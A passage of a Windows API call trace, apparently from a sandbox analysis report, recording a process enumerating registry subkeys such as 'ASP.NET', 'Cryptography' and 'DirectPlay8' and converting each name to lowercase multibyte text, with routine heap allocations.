lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ads", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ads", lpUsedDefaultChar=0x0) returned 3 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.629] RegEnumKeyW (in: hKey=0x38, dwIndex=0x3, lpName=0x22fb930, cchName=0x104 | out: lpName="Advanced INF Setup") returned 0x0 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="advanced inf setup", cchWideChar=18, lpMultiByteStr=0x22fc0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="advanced inf setup", lpUsedDefaultChar=0x0) returned 18 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.629] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.629] RegEnumKeyW (in: hKey=0x38, dwIndex=0x4, lpName=0x22fb930, cchName=0x104 | out: lpName="ALG") returned 0x0 [0025.629] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.630] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.630] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.630] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.630] RegEnumKeyW (in: hKey=0x38, dwIndex=0x5, lpName=0x22fb930, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x22fc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.630] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.630] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.630] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.630] RegEnumKeyW (in: hKey=0x38, dwIndex=0x6, lpName=0x22fb930, cchName=0x104 | out: lpName="Assistance") returned 0x0 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="assistance", cchWideChar=10, lpMultiByteStr=0x22fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="assistance", lpUsedDefaultChar=0x0) returned 10 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.630] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.630] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.630] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.630] RegEnumKeyW (in: hKey=0x38, dwIndex=0x7, lpName=0x22fb930, cchName=0x104 | out: lpName="BidInterface") returned 0x0 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.630] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bidinterface", cchWideChar=12, lpMultiByteStr=0x22fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bidinterface", lpUsedDefaultChar=0x0) returned 12 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.631] RegEnumKeyW (in: hKey=0x38, dwIndex=0x8, lpName=0x22fb930, cchName=0x104 | out: lpName="COM3") returned 0x0 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="com3", cchWideChar=4, lpMultiByteStr=0x22fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="com3", lpUsedDefaultChar=0x0) returned 4 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.631] RegEnumKeyW (in: hKey=0x38, dwIndex=0x9, lpName=0x22fb930, cchName=0x104 | out: lpName="Command Processor") returned 0x0 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="command processor", cchWideChar=17, lpMultiByteStr=0x22fc0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="command processor", lpUsedDefaultChar=0x0) returned 17 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.631] RegEnumKeyW (in: hKey=0x38, dwIndex=0xa, lpName=0x22fb930, cchName=0x104 | out: lpName="Connect to a Network Projector") returned 0x0 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.631] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="connect to a network projector", cchWideChar=30, lpMultiByteStr=0x22fc120, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="connect to a network projector", lpUsedDefaultChar=0x0) returned 30 [0025.631] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.631] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.631] RegEnumKeyW (in: hKey=0x38, dwIndex=0xb, lpName=0x22fb930, cchName=0x104 | out: lpName="Cryptography") returned 0x0 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptography", cchWideChar=12, lpMultiByteStr=0x22fc0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptography", lpUsedDefaultChar=0x0) returned 12 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.632] RegEnumKeyW (in: hKey=0x38, dwIndex=0xc, lpName=0x22fb930, cchName=0x104 | out: lpName="CTF") returned 0x0 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ctf", cchWideChar=3, lpMultiByteStr=0x22fc120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ctf", lpUsedDefaultChar=0x0) returned 3 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.632] RegEnumKeyW (in: hKey=0x38, dwIndex=0xd, lpName=0x22fb930, cchName=0x104 | out: lpName="DataAccess") returned 0x0 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dataaccess", cchWideChar=10, lpMultiByteStr=0x22fc0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dataaccess", lpUsedDefaultChar=0x0) returned 10 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.632] RegEnumKeyW (in: hKey=0x38, dwIndex=0xe, lpName=0x22fb930, cchName=0x104 | out: lpName="DataFactory") returned 0x0 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datafactory", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datafactory", lpUsedDefaultChar=0x0) returned 11 [0025.632] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.632] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.633] RegEnumKeyW (in: hKey=0x38, dwIndex=0xf, lpName=0x22fb930, cchName=0x104 | out: lpName="DevDiv") returned 0x0 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="devdiv", cchWideChar=6, lpMultiByteStr=0x22fc0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="devdiv", lpUsedDefaultChar=0x0) returned 6 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.633] RegEnumKeyW (in: hKey=0x38, dwIndex=0x10, lpName=0x22fb930, cchName=0x104 | out: lpName="Dfrg") returned 0x0 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfrg", cchWideChar=4, lpMultiByteStr=0x22fc120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfrg", lpUsedDefaultChar=0x0) returned 4 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.633] RegEnumKeyW (in: hKey=0x38, dwIndex=0x11, lpName=0x22fb930, cchName=0x104 | out: lpName="DFS") returned 0x0 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dfs", cchWideChar=3, lpMultiByteStr=0x22fc0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dfs", lpUsedDefaultChar=0x0) returned 3 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.633] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.633] RegEnumKeyW (in: hKey=0x38, dwIndex=0x12, lpName=0x22fb930, cchName=0x104 | out: lpName="DirectDraw") returned 0x0 [0025.633] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directdraw", cchWideChar=10, lpMultiByteStr=0x22fc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directdraw", lpUsedDefaultChar=0x0) returned 10 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.634] RegEnumKeyW (in: hKey=0x38, dwIndex=0x13, lpName=0x22fb930, cchName=0x104 | out: lpName="DirectInput") returned 0x0 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directinput", cchWideChar=11, lpMultiByteStr=0x22fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directinput", lpUsedDefaultChar=0x0) returned 11 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.634] RegEnumKeyW (in: hKey=0x38, dwIndex=0x14, lpName=0x22fb930, cchName=0x104 | out: lpName="DirectMusic") returned 0x0 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directmusic", cchWideChar=11, lpMultiByteStr=0x22fc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directmusic", lpUsedDefaultChar=0x0) returned 11 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.634] RegEnumKeyW (in: hKey=0x38, dwIndex=0x15, lpName=0x22fb930, cchName=0x104 | out: lpName="DirectPlay8") returned 0x0 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplay8", cchWideChar=11, lpMultiByteStr=0x22fc0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplay8", lpUsedDefaultChar=0x0) returned 11 [0025.634] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc0d8) returned 1 [0025.634] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fc120) returned 1 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, BaseAddress=0x22fbbb8) returned 1 [0025.635] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x22fb930, cchName=0x104 | out: lpName="DirectPlayNATHelp") returned 0x0 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x80) returned 0x22fbbb8 [0025.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc120 [0025.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directplaynathelp", cchWideChar=17, lpMultiByteStr=0x22fc120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directplaynathelp", lpUsedDefaultChar=0x0) returned 17 [0025.635] RtlAllocateHeap (HeapHandle=0x22f0000, Flags=0x8, Size=0x40) returned 0x22fc0d8 [0025.635] RtlFreeHeap (HeapHandle=0x22f0000, Flags=0x0, 